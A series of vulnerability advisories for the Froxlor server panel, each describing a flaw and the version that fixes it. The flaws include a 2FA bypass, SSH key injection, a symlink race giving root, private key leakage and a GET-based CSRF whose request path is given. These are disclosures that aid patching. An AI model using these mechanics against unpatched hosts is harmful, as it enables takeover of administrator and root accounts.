Froxlor through 2.3.10 stores only a numeric user ID in remembered-2FA tokens (panel2fatokens) without recording the account namespace, and the remembered-token lookup during login is not constrained to the customer or administrator account type. Because customer and administrator IDs are allocated from separate namespaces, a remembered-2FA token legitimately issued to a customer with a given ID also matches an administrator with the same ID. An attacker who controls a customer account with a colliding ID, holds a valid remembered-2FA cookie for it, and already knows the target administrator's password can bypass the administrator's TOTP second factor and obtain an authenticated administrator session. This is a second-factor bypass only; it does not defeat password authentication. Fixed in 2.3.12.

Froxlor is open source server administration software. Prior to version 2.3.6, DataDump.add() constructs the export destination path from user-supplied input without passing the $fixedhomedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.

Improper Encoding or Escaping of Output in GitHub repository froxlor/froxlor prior to 2.0.21.

Path Traversal in GitHub repository froxlor/froxlor prior to 2.0.20.

Froxlor before 2.3.12 fails to properly validate multi-line SSH public keys in the SshKeys::add() endpoint, allowing customers to inject arbitrary lines into authorizedkeys files. Attackers can inject malicious SSH key entries with option directives to gain persistent unauthorized access that survives key deletion and SSH access revocation.

Froxlor through 2.3.10 does not enforce the mail.allowexternaldomains policy in the EmailSender.add API command. When an administrator has enabled the allowed-sender feature but disabled external allowed-sender domains (mail.enableallowsender = 1, mail.allowexternaldomains = 0), an authenticated customer with API access can still use EmailSender.add to register an arbitrary external sender address for their mailbox, which is stored despite the policy. This creates a bypass between the UI/administrator configuration and the API, and — where the generated mail configuration consumes the allowed-sender table — allows a customer to authorize sender identities outside their hosted domains, facilitating sender spoofing. Fixed in 2.3.12.

Froxlor 2.3.10 and earlier contain a time-of-check time-of-use (TOCTOU) race condition in the SSH key synchronization cron (lib/Froxlor/Cron/System/SshKeys.php, SshKeys::generateFiles). The containment/symlink validation performed by FileDir::makeCorrectDir()/makeCorrectFile() is done only at check time; the live filesystem path is re-resolved as root at write time (fileputcontents with FILEAPPEND|LOCKEX, followed by chmod/chown/chgrp), with a database round-trip and file reads in between, and no path or file-descriptor pinning (no ONOFOLLOW or openat2(RESOLVENOSYMLINKS)). On installations where the non-default setting system.allowcustomershell=1 grants customers local shell access, a customer can atomically swap their ~/.ssh directory for a symlink after the check and before the write, causing the root-run cron to append the customer's public key to /root/.ssh/authorizedkeys and to chown /root/.ssh to the customer, resulting in full root compromise of the panel host. The cron re-runs on every interval, allowing unlimited attempts. This is a residual race that bypasses the check-time fix introduced for GHSA-mq5v-... . The issue is fixed in Froxlor 2.3.12.

Froxlor before 2.3.13 returns the sslkeyfile column — which stores the raw PEM TLS private-key content — verbatim in the JSON responses of the Certificates.get and Certificates.listing API commands, because the results of the underlying domainsslsettings queries are passed through ApiCommand::response() without any field stripping or allowlist. A low-privileged authenticated customer API caller can retrieve the private keys of their own domains' certificates, including Let's Encrypt keys that Froxlor generates server-side and stores root-only (0600) and to which the customer otherwise has no filesystem access; reseller and customersseeall admin accounts can dump the private keys of other principals through the same sink. Disclosed keys enable domain impersonation, passive decryption of captured TLS traffic, and active machine-in-the-middle attacks.

froxlor through 2.3.10 disables a user's two-factor authentication immediately upon an unauthenticated-triggerable GET request to the 2FA management page (e.g. /customerindex.php?page=2fa&action=delete), with no confirmation, re-authentication, or CSRF token. The global CSRF middleware only covers POST/PUT/PATCH/DELETE requests, and the session cookie is set to SameSite=Lax, so a cross-site top-level navigation (link click or redirect) carries the victim's session and silently clears type2fa/data2fa. Both the customer and admin 2FA handlers are affected. An attacker who lures a logged-in panel user into following a crafted link reduces that account to password-only authentication, which can be chained with a compromised password for account takeover. Fixed in 2.3.12.

Froxlor versions before 2.3.12 contain a credential disclosure vulnerability in the DirProtections.listing API command that returns htpasswd password hashes. Authenticated API users can retrieve bcrypt password hashes for protected-directory users, enabling offline cracking attempts and exposure of reused credentials.